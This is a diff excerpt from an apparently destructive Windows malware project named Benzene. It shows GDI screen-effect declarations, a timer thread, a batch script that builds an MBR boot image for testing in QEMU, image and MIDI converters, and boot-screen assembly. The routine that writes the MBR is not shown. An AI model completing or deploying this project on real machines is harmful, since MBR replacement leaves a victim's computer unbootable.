+AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
+
+VOID
+WINAPI
+GdiShaderThread(
+	_In_ PGDISHADER_PARAMS pGdiShaderParams
+);
+
+VOID
+WINAPI
+ExecuteGdiShader(
+	_In_ HDC hdcDst,
+	_In_ RECT rcBounds,
+	_In_ INT nTime,
+	_In_ INT nDelay,
+	_In_ GDI_SHADER pGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
+);
+
+INT nShaderThreeSeed;
+GDI_SHADER GdiShader1;
+GDI_SHADER GdiShader2;
+GDI_SHADER GdiShader3;
+GDI_SHADER GdiShader4;
+GDI_SHADER GdiShader5;
+GDI_SHADER GdiShader6;
+GDI_SHADER GdiShader7;
+GDI_SHADER GdiShader8;
+GDI_SHADER GdiShader9;
+GDI_SHADER GdiShader10;
+GDI_SHADER GdiShader11;
+GDI_SHADER GdiShader12;
+GDI_SHADER GdiShader13;
+GDI_SHADER GdiShader14;
+GDI_SHADER GdiShader15;
+GDI_SHADER GdiShader16;
+GDI_SHADER GdiShader17;
+GDI_SHADER GdiShader18;
+GDI_SHADER GdiShader19;
+GDI_SHADER GdiShader20;
+GDI_SHADER GdiShader21;
+GDI_SHADER GdiShader22;
+GDI_SHADER GdiShader23;
+GDI_SHADER GdiShader24;
+GDI_SHADER FinalGdiShader;
+GDI_SHADER_OPERATION PreGdiShader1;
+GDI_SHADER_OPERATION PostGdiShader1;
+GDI_SHADER_OPERATION PostGdiShader2;
+GDI_SHADER_OPERATION PostGdiShader3;
+GDI_SHADER_OPERATION PostGdiShader4;
+GDI_SHADER_OPERATION PostGdiShader5;
+GDI_SHADER_OPERATION PostGdiShader6;
+GDI_SHADER_PARAMS pGdiShaders[ 25 ];

src/Benzene-main/Destructive/Benzene/resource.h

@@ -0,0 +1,14 @@
+//{{NO_DEPENDENCIES}}
+// Microsoft Visual C++ generated include file.
+// Used by Benzene.rc
+
+// Next default values for new objects
+// 
+#ifdef APSTUDIO_INVOKED
+#ifndef APSTUDIO_READONLY_SYMBOLS
+#define _APS_NEXT_RESOURCE_VALUE        101
+#define _APS_NEXT_COMMAND_VALUE         40001
+#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_SYMED_VALUE           101
+#endif
+#endif

src/Benzene-main/Destructive/Benzene/threads.c

@@ -0,0 +1,17 @@
+#include "benzene.h"
+
+VOID
+WINAPI
+TimerThread(
+	VOID
+)
+{
+	SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
+
+	MSG msg;
+	while ( GetMessageW( &msg, NULL, 0, 0 ) )
+	{
+		TranslateMessage( &msg );
+		DispatchMessageW( &msg );
+	}
+}

src/Benzene-main/Destructive/Benzene/threads.h

@@ -0,0 +1,8 @@
+#pragma once
+#include "benzene.h"
+
+VOID
+WINAPI
+TimerThread(
+	VOID
+);

src/Benzene-main/Destructive/BenzeneMBR/Create.bat

@@ -0,0 +1,46 @@
+@echo off
+title Benzene MBR
+color 0a
+
+:Check
+if not exist Build md Build >nul
+if exist disk.img goto QEMU
+if exist Build\frames.bin del Build\frames.bin /F /Q >nul
+if exist Build\song.bin del Build\song.bin /F /Q >nul
+if exist Build\special.bin del Build\special.bin /F /Q >nul
+if exist Build\stage2-uncompressed.bin del Build\stage2-uncompressed.bin /F /Q >nul
+if exist Build\stage2-compressed.bin del Build\stage2-compressed.bin /F /Q >nul
+cls
+
+
+:Start
+Data\Image\png2bin.exe Data\Image\Special\01.png Build\special.bin
+Data\Song\midi2bin.exe Data\Song\midi2bin.mid Build\song.bin
+cd Data\Image\Frames >nul
+if exist 11.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png 11.png ..\..\..\Build\frames.bin & goto Next
+if exist 10.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png ..\..\..\Build\frames.bin & goto Next
+if exist 09.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png ..\..\..\Build\frames.bin & goto Next
+if exist 08.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png ..\..\..\Build\frames.bin & goto Next
+if exist 07.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png ..\..\..\Build\frames.bin & goto Next
+if exist 06.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png ..\..\..\Build\frames.bin & goto Next
+if exist 05.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png ..\..\..\Build\frames.bin & goto Next
+if exist 04.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png ..\..\..\Build\frames.bin & goto Next
+if exist 03.png ..\png2bin.exe 00.png 01.png 02.png 03.png ..\..\..\Build\frames.bin & goto Next
+if exist 02.png ..\png2bin.exe 00.png 01.png 02.png ..\..\..\Build\frames.bin & goto Next
+if exist 01.png ..\png2bin.exe 00.png 01.png ..\..\..\Build\frames.bin & goto Next
+if exist 00.png ..\png2bin.exe 00.png ..\..\..\Build\frames.bin & goto Next
+
+
+
+:Next
+cd ..\..\Source >nul
+..\..\Programs\nasm.exe -f bin main.asm -o ..\..\Build\stage2-uncompressed.bin
+..\..\Programs\compress.exe ..\..\Build\stage2-uncompressed.bin ..\..\Build\stage2-compressed.bin >nul
+..\..\Programs\nasm.exe -o ..\..\disk.img bootloader.asm
+cd ..\.. >nul
+
+
+:QEMU
+pause
+Programs\QEMU\qemu -s -soundhw pcspk -fda disk.img
+exit

src/Benzene-main/Destructive/BenzeneMBR/Data/Image/png2bin.py

@@ -0,0 +1,55 @@
+import sys, math, struct, os
+from PIL import Image
+
+doscolors = [
+	(0x00, 0x00, 0x00), # 0
+	(0x00, 0x00, 0xa8), # 1
+	(0x00, 0xa8, 0x00), # 2
+	(0x00, 0xa8, 0xa8), # 3
+	(0xa8, 0x00, 0x00), # 4
+	(0xa8, 0x00, 0xa8), # 5
+	(0xa8, 0xa8, 0x00), # 6
+	(0xa8, 0xa8, 0xa8), # 7
+	
+	(0x54, 0x54, 0x54), # 8
+	(0x54, 0x54, 0xff), # 9
+	(0x54, 0xff, 0x54), # 10
+	(0x54, 0xff, 0xff), # 11
+	(0xff, 0x54, 0x54), # 12
+	(0xff, 0x54, 0xff), # 13
+	(0xff, 0xff, 0x54), # 14
+	(0xff, 0xff, 0xff), # 15
+]
+
+def color_distance(a, b):
+	return math.sqrt( (a[0]-b[0])**2 + (a[1]-b[1])**2 + (a[2]-b[2])**2 )
+	
+def nearest_color(color):
+	nearest = 0
+	
+	for i in range(len(doscolors)):
+		if color_distance(color, doscolors[i]) < color_distance(color, doscolors[nearest]):
+			nearest = i
+	
+	return nearest
+
+buf = ""
+
+for imgf in sys.argv[1:-1]:
+	img = Image.open(imgf).convert("RGB")
+	w, h = img.size
+	
+	for y in xrange(0, h, 2):
+		for x in xrange(w):
+			b = (nearest_color(img.getpixel((x, y))) << 4)
+			
+			if y < 48 or x >= 0:
+				b |= nearest_color(img.getpixel((x, y+1)))
+			else:
+				b |= 15 if ((b>>4) < 8) else 0
+				
+			buf += chr(b)
+	img.close()
+
+with open(sys.argv[::-1][0], "wb") as out:
+	out.write(buf)

src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.py

@@ -0,0 +1,24 @@
+import midi, sys
+
+pattern = midi.read_midifile(sys.argv[1])
+
+def pitchconv(pitch):
+	return int(round(1193180.0 / (2**((pitch-69)/12.0)*440), 0))
+
+with open(sys.argv[2], "wb") as out:
+	pitches = [pitchconv(event.pitch) for event in pattern[1] if isinstance(event, midi.NoteOnEvent)]
+    
+	b = 0
+	d = 0
+	
+	t = 0
+	o = -1
+	for event in pattern[1]:
+		if isinstance(event, midi.NoteOnEvent):
+			if event.velocity == 0:
+				d += int(round(event.tick/48.0, 0))
+				p = pitchconv(event.pitch)
+				out.write(chr(p & 0xff) + chr((d - 1) << 5 | p >> 8))
+				b = 0
+			else:
+				d = int(round(event.tick/48.0, 0))

src/Benzene-main/Destructive/BenzeneMBR/Data/Source/Animation/Image/drawIntroFrame.asm

@@ -0,0 +1,26 @@
+drawIntroFrame:
+    push es
+    push 0xb800
+    pop es
+    
+	; Increase the frame tick counter to make the intro run faster
+	mov byte [frameTickCounter], 5
+
+	; Check if message is already fully displayed
+	cmp si, messageLength
+	jae .end
+
+	mov di, si
+	imul di, 2
+
+	mov byte al, [si+message]
+
+	mov byte [es:di], al
+	mov byte [es:di+1], 0xf0
+
+	inc si
+	mov [frameIndex], si
+	
+	.end:
+	    pop es
+	    ret